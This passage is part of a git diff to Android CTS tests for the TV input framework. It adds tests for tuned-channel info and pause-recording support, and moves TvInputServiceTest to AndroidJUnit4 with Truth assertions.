+                        "android.tv.cts/android.media.tv.cts.StubTunerTvInputService",
+                        channelUri,
+                        false,
+                        true,
+                        TunedInfo.APP_TYPE_SELF,
+                        TunedInfo.APP_TAG_SELF);
+                assertEquals(expectedInfo, returnedInfo);
+
+                assertEquals(1, mCallback.mTunedInfos.size());
+                TunedInfo callbackInfo = mCallback.mTunedInfos.get(0);
+                assertEquals(expectedInfo, callbackInfo);
+            }
+        }
+    }
+
+    public void testGetCurrentTunedInfos() throws Throwable {
+        if (!Utils.hasTvInputFramework(getActivity())) {
+            return;
+        }
+        mActivity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mManager.registerCallback(mCallback, new Handler());
+            }
+        });
+        tryTuneAllChannels();
+        mActivity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mManager.unregisterCallback(mCallback);
+            }
+        });
     }
 
     public void testGetInputState() throws Exception {
@@ -227,14 +346,15 @@
                 new ComponentName(getActivity(), StubTunerTvInputService.class)).build();
         TvInputInfo updatedInfo = new TvInputInfo.Builder(getActivity(),
                 new ComponentName(getActivity(), StubTunerTvInputService.class))
-                        .setTunerCount(10).setCanRecord(true).build();
+                        .setTunerCount(10).setCanRecord(true).setCanPauseRecording(false).build();
 
         mManager.updateTvInputInfo(updatedInfo);
         new PollingCheck(TIME_OUT_MS) {
             @Override
             protected boolean check() {
                 TvInputInfo info = mCallback.getLastUpdatedTvInputInfo();
-                return info !=  null && info.getTunerCount() == 10 && info.canRecord();
+                return info !=  null && info.getTunerCount() == 10 && info.canRecord()
+                        && !info.canPauseRecording();
             }
         }.run();
 
@@ -243,7 +363,8 @@
             @Override
             protected boolean check() {
                 TvInputInfo info = mCallback.getLastUpdatedTvInputInfo();
-                return info !=  null && info.getTunerCount() == 1 && !info.canRecord();
+                return info !=  null && info.getTunerCount() == 1 && !info.canRecord()
+                        && info.canPauseRecording();
             }
         }.run();
 
@@ -310,6 +431,7 @@
         private final List<String> mAddedInputs = new ArrayList<>();
         private final List<String> mRemovedInputs = new ArrayList<>();
         private TvInputInfo mLastUpdatedTvInputInfo;
+        private List<TunedInfo> mTunedInfos;
 
         @Override
         public synchronized void onInputAdded(String inputId) {
@@ -326,6 +448,12 @@
             mLastUpdatedTvInputInfo = info;
         }
 
+        @Override
+        public synchronized void onCurrentTunedInfosUpdated(
+                List<TunedInfo> tunedInfos) {
+            mTunedInfos = tunedInfos;
+        }
+
         public synchronized void resetLogs() {
             mAddedInputs.clear();
             mRemovedInputs.clear();
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
index d47c5ed..9f406c7 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputServiceTest.java
@@ -16,9 +16,16 @@
 
 package android.media.tv.cts;
 
-import android.app.Activity;
+import static androidx.test.ext.truth.view.MotionEventSubject.assertThat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
 import android.app.Instrumentation;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.media.PlaybackParams;
 import android.media.tv.TvContentRating;
 import android.media.tv.TvContract;
@@ -27,13 +34,13 @@
 import android.media.tv.TvRecordingClient;
 import android.media.tv.TvTrackInfo;
 import android.media.tv.TvView;
-import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingSession;
 import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingRecordingSession;
+import android.media.tv.cts.TvInputServiceTest.CountingTvInputService.CountingSession;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.text.TextUtils;
+import android.util.Log;
 import android.view.InputDevice;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
@@ -42,32 +49,58 @@
 import android.view.View;
 import android.widget.LinearLayout;
 
-import android.tv.cts.R;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.internal.util.ToBooleanFunction;
+
+import com.google.common.truth.Truth;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
-import java.util.Set;
-
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Consumer;
 
 /**
  * Test {@link android.media.tv.TvInputService}.
  */
-public class TvInputServiceTest extends ActivityInstrumentationTestCase2<TvViewStubActivity> {
-    /** The maximum time to wait for an operation. */
-    private static final long TIME_OUT = 15000L;
-    private static final String DUMMT_TRACK_ID = "dummyTrackId";
-    private static final TvTrackInfo DUMMY_TRACK =
-            new TvTrackInfo.Builder(TvTrackInfo.TYPE_VIDEO, DUMMT_TRACK_ID)
-            .setVideoWidth(1920).setVideoHeight(1080).setLanguage("und").build();
-    private static Bundle sDummyBundle;
+@RunWith(AndroidJUnit4.class)
+public class TvInputServiceTest {
 
-    private TvView mTvView;
+    private static final String TAG = "TvInputServiceTest";
+
+    @Rule
+    public RequiredFeatureRule featureRule = new RequiredFeatureRule(
+            PackageManager.FEATURE_LIVE_TV);
+
+    @Rule
+    public ActivityScenarioRule<TvViewStubActivity> activityRule =
+            new ActivityScenarioRule(TvViewStubActivity.class);
+
+
+    private static final Uri CHANNEL_0 = TvContract.buildChannelUri(0);
+    /** The maximum time to wait for an operation. */
+    private static final long TIME_OUT = 5000L;
+    private static final TvTrackInfo TEST_TV_TRACK =
+            new TvTrackInfo.Builder(TvTrackInfo.TYPE_VIDEO, "testTrackId")
+                    .setVideoWidth(1920)
+                    .setVideoHeight(1080)
+                    .setLanguage("und")
+                    .build();
+
     private TvRecordingClient mTvRecordingClient;
-    private Activity mActivity;
     private Instrumentation mInstrumentation;
     private TvInputManager mManager;
     private TvInputInfo mStubInfo;
@@ -190,22 +223,21 @@
         }
     }
 
-    public TvInputServiceTest() {
-        super(TvViewStubActivity.class);
+    private static Bundle createTestBundle() {
+        Bundle b = new Bundle();
+        b.putString("stringKey", new String("Test String"));
+        return b;
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
-        mTvView = (TvView) mActivity.findViewById(R.id.tvview);
-        mTvRecordingClient = new TvRecordingClient(mActivity, "TvInputServiceTest",
+    @Before
+    public void setUp() {
+        mInstrumentation = InstrumentationRegistry
+                .getInstrumentation();
+        mTvRecordingClient = new TvRecordingClient(mInstrumentation.getTargetContext(),
+                "TvInputServiceTest",
                 mRecordingCallback, null);
-        mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
+        mManager = (TvInputManager) mInstrumentation.getTargetContext().getSystemService(
+                Context.TV_INPUT_SERVICE);
         for (TvInputInfo info : mManager.getTvInputList()) {
             if (info.getServiceInfo().name.equals(CountingTvInputService.class.getName())) {
                 mStubInfo = info;
@@ -217,824 +249,703 @@
                 break;
             }
         }
-        assertNotNull(mStubInfo);
-        mTvView.setCallback(mCallback);
+        assertThat(mStubInfo).isNotNull();
 
         CountingTvInputService.sSession = null;
-        CountingTvInputService.sTvInputSessionId = null;
+        resetCounts();
+        resetPassedValues();
     }
 
-    public void testTvInputServiceSession() throws Throwable {
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        initDummyBundle();
-        verifyCommandTune();
-        verifyCommandTuneWithBundle();
-        verifyCommandSendAppPrivateCommand();
-        verifyCommandSetStreamVolume();
-        verifyCommandSetCaptionEnabled();
-        verifyCommandSelectTrack();
-        verifyCommandDispatchKeyDown();
-        verifyCommandDispatchKeyMultiple();
-        verifyCommandDispatchKeyUp();
-        verifyCommandDispatchTouchEvent();
-        verifyCommandDispatchTrackballEvent();
-        verifyCommandDispatchGenericMotionEvent();
-        verifyCommandTimeShiftPause();
-        verifyCommandTimeShiftResume();
-        verifyCommandTimeShiftSeekTo();
-        verifyCommandTimeShiftSetPlaybackParams();
-        verifyCommandTimeShiftPlay();
-        verifyCommandSetTimeShiftPositionCallback();
-        verifyCommandOverlayViewSizeChanged();
-        verifyCallbackChannelRetuned();
-        verifyCallbackVideoAvailable();
-        verifyCallbackVideoUnavailable();
-        verifyCallbackTracksChanged();
-        verifyCallbackTrackSelected();
-        verifyCallbackVideoSizeChanged();
-        verifyCallbackContentAllowed();
-        verifyCallbackContentBlocked();
-        verifyCallbackTimeShiftStatusChanged();
-        verifyCallbackLayoutSurface();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTvView.reset();
-            }
+    @After
+    public void tearDown() {
+        activityRule.getScenario().onActivity(activity -> {
+            activity.getTvView().reset();
         });
-        mInstrumentation.waitForIdleSync();
     }
 
-    public void testTvInputServiceRecordingSession() throws Throwable {
-        if (!Utils.hasTvInputFramework(getActivity())) {
-            return;
-        }
-        initDummyBundle();
-        verifyCommandTuneForRecording();
-        verifyCallbackConnectionFailed();
-        verifyCommandTuneForRecordingWithBundle();
-        verifyCallbackTuned();
-        verifyCommandStartRecording();
-        verifyCommandStartRecordingWithBundle();
-        verifyCommandStopRecording();
-        verifyCommandSendAppPrivateCommandForRecording();
-        verifyCallbackRecordingStopped();
-        verifyCallbackError();
-        verifyCommandRelease();
-        verifyCallbackDisconnected();
-    }
-
+    @Test
     public void verifyCommandTuneForRecording() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mStubInfo.getId(), fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null && session.mTuneCount > 0
-                        && tvInputSessionId != null
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+
+        assertThat(session.mSessionId).isNotEmpty();
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandTuneForRecordingWithBundle() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mStubInfo.getId(), fakeChannelUri, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mTuneWithBundleCount > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri)
-                        && bundleEquals(session.mTuneWithBundleData, sDummyBundle);
-            }
-        }.run();
+        final Bundle bundle = createTestBundle();
+
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0, bundle);
+
+        assertThat(session.mSessionId).isNotEmpty();
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTuneWithBundleCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mTuneWithBundleData, bundle);
     }
 
+    @Test
     public void verifyCommandRelease() {
-        resetCounts();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+
         mTvRecordingClient.release();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null && session.mReleaseCount > 0;
-            }
-        }.run();
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mReleaseCount > 0);
+        assertThat(session.mReleaseCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandStartRecording() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.startRecording(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mStartRecordingCount > 0
-                        && Objects.equals(session.mProgramHint, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStartRecordingCount > 0);
+        assertThat(session.mStartRecordingCount).isEqualTo(1);
+        assertThat(session.mProgramHint).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandStartRecordingWithBundle() {
-        resetCounts();
-        resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.startRecording(fakeChannelUri, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mStartRecordingCount > 0
-                        && session.mStartRecordingWithBundleCount > 0
-                        && Objects.equals(session.mProgramHint, fakeChannelUri)
-                        && bundleEquals(session.mStartRecordingWithBundleData, sDummyBundle);
-            }
-        }.run();
+        Bundle bundle = createTestBundle();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0, bundle);
+        notifyTuned(CHANNEL_0);
+
+        mTvRecordingClient.startRecording(CHANNEL_0, bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStartRecordingWithBundleCount > 0);
+
+        assertThat(session.mStartRecordingCount).isEqualTo(1);
+        assertThat(session.mStartRecordingWithBundleCount).isEqualTo(1);
+        assertThat(session.mProgramHint).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mStartRecordingWithBundleData, bundle);
     }
 
+    @Test
+    public void verifyCommandPauseResumeRecordingWithBundle() {
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        final Bundle bundle = createTestBundle();
+        mTvRecordingClient.pauseRecording(bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mPauseRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+
+        mTvRecordingClient.resumeRecording(bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mResumeRecordingWithBundleCount > 0);
+
+        assertThat(session.mResumeRecordingWithBundleCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mResumeRecordingWithBundleData, bundle);
+
+    }
+
+    @Test
+    public void verifyCommandPauseResumeRecording() {
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        mTvRecordingClient.pauseRecording();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mPauseRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+
+        mTvRecordingClient.resumeRecording();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mResumeRecordingWithBundleCount > 0);
+
+        assertThat(session.mPauseRecordingWithBundleCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mResumeRecordingWithBundleData, Bundle.EMPTY);
+    }
+
+    @Test
     public void verifyCommandStopRecording() {
-        resetCounts();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
         mTvRecordingClient.stopRecording();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null && session.mStopRecordingCount > 0;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mStopRecordingCount > 0);
+
+        assertThat(session.mStopRecordingCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCommandSendAppPrivateCommandForRecording() {
-        resetCounts();
-        resetPassedValues();
+        Bundle bundle = createTestBundle();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
         final String action = "android.media.tv.cts.TvInputServiceTest.privateCommand";
-        mTvRecordingClient.sendAppPrivateCommand(action, sDummyBundle);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-                return session != null
-                        && session.mAppPrivateCommandCount > 0
-                        && bundleEquals(session.mAppPrivateCommandData, sDummyBundle)
-                        && TextUtils.equals(session.mAppPrivateCommandAction, action);
-            }
-        }.run();
+
+        mTvRecordingClient.sendAppPrivateCommand(action, bundle);
+        PollingCheck.waitFor(TIME_OUT, () -> session.mAppPrivateCommandCount > 0);
+
+        assertThat(session.mAppPrivateCommandCount).isEqualTo(1);
+        assertBundlesAreEqual(session.mAppPrivateCommandData, bundle);
+        assertThat(session.mAppPrivateCommandAction).isEqualTo(action);
     }
 
+    @Test
     public void verifyCallbackTuned() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyTuned(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mTunedCount > 0
-                        && Objects.equals(mRecordingCallback.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+        tuneForRecording(CHANNEL_0);
+
+        notifyTuned(CHANNEL_0);
+
+        assertThat(mRecordingCallback.mTunedCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+
+    @Test
     public void verifyCallbackError() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
         final int error = TvInputManager.RECORDING_ERROR_UNKNOWN;
+
         session.notifyError(error);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mErrorCount > 0
-                        && mRecordingCallback.mError == error;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mErrorCount > 0);
+
+        assertThat(mRecordingCallback.mErrorCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mError).isEqualTo(error);
     }
 
+    @Test
     public void verifyCallbackRecordingStopped() {
-        resetCounts();
-        resetPassedValues();
-        final CountingRecordingSession session = CountingTvInputService.sRecordingSession;
-        assertNotNull(session);
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        session.notifyRecordingStopped(fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mRecordingStoppedCount > 0
-                        && Objects.equals(mRecordingCallback.mRecordedProgramUri, fakeChannelUri);
-            }
-        }.run();
+        final CountingRecordingSession session = tuneForRecording(CHANNEL_0);
+        notifyTuned(CHANNEL_0);
+        mTvRecordingClient.startRecording(CHANNEL_0);
+
+        session.notifyRecordingStopped(CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mRecordingStoppedCount > 0);
+
+        assertThat(mRecordingCallback.mRecordingStoppedCount).isEqualTo(1);
+        assertThat(mRecordingCallback.mRecordedProgramUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCallbackConnectionFailed() {
         resetCounts();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune("invalid_input_id", fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mConnectionFailedCount > 0;
-            }
-        }.run();
+
+        mTvRecordingClient.tune("invalid_input_id", CHANNEL_0);
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mConnectionFailedCount > 0);
+
+        assertThat(mRecordingCallback.mConnectionFailedCount).isEqualTo(1);
     }
 
+    @Test
     public void verifyCallbackDisconnected() {
         resetCounts();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvRecordingClient.tune(mFaultyStubInfo.getId(), fakeChannelUri);
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mRecordingCallback.mDisconnectedCount > 0;
-            }
-        }.run();
+
+        mTvRecordingClient.tune(mFaultyStubInfo.getId(), CHANNEL_0);
+
+        PollingCheck.waitFor(TIME_OUT, () -> mRecordingCallback.mDisconnectedCount > 0);
     }
 
+    @Test
     public void verifyCommandTune() {
         resetCounts();
         resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvView.tune(mStubInfo.getId(), fakeChannelUri);
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mCreateOverlayView > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri);
-            }
-        }.run();
+
+        final CountingSession session = tune(CHANNEL_0);
+
+        assertWithMessage("session").that(session).isNotNull();
+        assertWithMessage("tvInputSessionId").that(session.mSessionId).isNotEmpty();
+        assertWithMessage("mTuneCount").that(session.mTuneCount).isGreaterThan(0);
+        assertWithMessage("mCreateOverlayView").that(session.mCreateOverlayView).isGreaterThan(0);
+        assertWithMessage("mTunedChannelUri").that(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
     }
 
+    @Test
     public void verifyCommandTuneWithBundle() {
+        Bundle bundle = createTestBundle();
         resetCounts();
         resetPassedValues();
-        final Uri fakeChannelUri = TvContract.buildChannelUri(0);
-        mTvView.tune(mStubInfo.getId(), fakeChannelUri, sDummyBundle);
-        mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                final String tvInputSessionId = CountingTvInputService.sTvInputSessionId;
-                return session != null
-                        && tvInputSessionId != null
-                        && session.mTuneCount > 0
-                        && session.mTuneWithBundleCount > 0
-                        && Objects.equals(session.mTunedChannelUri, fakeChannelUri)
-                        && bundleEquals(session.mTuneWithBundleData, sDummyBundle);
-            }
-        }.run();
+
+        onTvView(tvView -> tvView.tune(mStubInfo.getId(), CHANNEL_0, bundle));
+        final CountingSession session = waitForSessionCheck(s -> s.mTuneWithBundleCount > 0);
+
+        assertThat(session.mTuneCount).isEqualTo(1);
+        assertThat(session.mTuneWithBundleCount).isEqualTo(1);
+        assertThat(session.mTunedChannelUri).isEqualTo(CHANNEL_0);
+        assertBundlesAreEqual(session.mTuneWithBundleData, bundle);
     }
 
+    @Test
     public void verifyCommandSetStreamVolume() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final float volume = 0.8f;
-        mTvView.setStreamVolume(volume);
+
+        onTvView(tvView -> tvView.setStreamVolume(volume));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mSetStreamVolumeCount > 0
-                        && session.mStreamVolume == volume;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSetStreamVolumeCount > 0);
+
+        assertThat(session.mSetStreamVolumeCount).isEqualTo(1);
+        assertThat(session.mStreamVolume).isEqualTo(volume);
     }
 
+    @Test
     public void verifyCommandSetCaptionEnabled() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final boolean enable = true;
-        mTvView.setCaptionEnabled(enable);
+        onTvView(tvView -> tvView.setCaptionEnabled(enable));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null && session.mSetCaptionEnabledCount > 0
-                        && session.mCaptionEnabled == enable;
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSetCaptionEnabledCount > 0);
+        assertThat(session.mSetCaptionEnabledCount).isEqualTo(1);
+        assertThat(session.mCaptionEnabled).isEqualTo(enable);
     }
 
+    @Test
     public void verifyCommandSelectTrack() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         verifyCallbackTracksChanged();
-        final int dummyTrackType = DUMMY_TRACK.getType();
-        final String dummyTrackId = DUMMY_TRACK.getId();
-        mTvView.selectTrack(dummyTrackType, dummyTrackId);
+        final int dummyTrackType = TEST_TV_TRACK.getType();
+        final String dummyTrackId = TEST_TV_TRACK.getId();
+
+        onTvView(tvView -> tvView.selectTrack(dummyTrackType, dummyTrackId));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mSelectTrackCount > 0
-                        && session.mSelectTrackType == dummyTrackType
-                        && TextUtils.equals(session.mSelectTrackId, dummyTrackId);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mSelectTrackCount > 0);
+
+        assertThat(session.mSelectTrackCount).isEqualTo(1);
+        assertThat(session.mSelectTrackType).isEqualTo(dummyTrackType);
+        assertThat(session.mSelectTrackId).isEqualTo(dummyTrackId);
     }
 
+    @Test
     public void verifyCommandDispatchKeyDown() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyDownCount > 0
-                        && session.mKeyDownCode == keyCode
-                        && keyEventEquals(event, session.mKeyDownEvent);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyDownCount > 0);
+
+        assertThat(session.mKeyDownCount).isEqualTo(1);
+        assertThat(session.mKeyDownCode).isEqualTo(keyCode);
+        assertKeyEventEquals(session.mKeyDownEvent, event);
     }
 
+    @Test
     public void verifyCommandDispatchKeyMultiple() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_MULTIPLE, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyMultipleCount > 0
-                        && session.mKeyMultipleCode == keyCode
-                        && keyEventEquals(event, session.mKeyMultipleEvent)
-                        && session.mKeyMultipleNumber == event.getRepeatCount();
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyMultipleCount > 0);
+
+        assertThat(session.mKeyMultipleCount).isEqualTo(1);
+        assertKeyEventEquals(session.mKeyMultipleEvent, event);
+        assertThat(session.mKeyMultipleNumber).isEqualTo(event.getRepeatCount());
     }
 
+    @Test
     public void verifyCommandDispatchKeyUp() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final int keyCode = KeyEvent.KEYCODE_Q;
         final KeyEvent event = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
-        mTvView.dispatchKeyEvent(event);
+
+        onTvView(tvView -> tvView.dispatchKeyEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                final CountingSession session = CountingTvInputService.sSession;
-                return session != null
-                        && session.mKeyUpCount > 0
-                        && session.mKeyUpCode == keyCode
-                        && keyEventEquals(event, session.mKeyUpEvent);
-            }
-        }.run();
+        PollingCheck.waitFor(TIME_OUT, () -> session.mKeyUpCount > 0);
+
+        assertThat(session.mKeyUpCount).isEqualTo(1);
+        assertThat(session.mKeyUpCode).isEqualTo(keyCode);
+        assertKeyEventEquals(session.mKeyUpEvent, event);
+
     }
 
+    @Test
     public void verifyCommandDispatchTouchEvent() {
-        resetCounts();
+        final CountingSession session = tune(CHANNEL_0);
         resetPassedValues();
         final long now = SystemClock.uptimeMillis();
         final MotionEvent event = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN, 1.0f, 1.0f,
                 1.0f, 1.0f, 0, 1.0f, 1.0f, 0, 0);
         event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        mTvView.dispatchTouchEvent(event);
+
+        onTvView(tvView -> tvView.dispatchTouchEvent(event));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
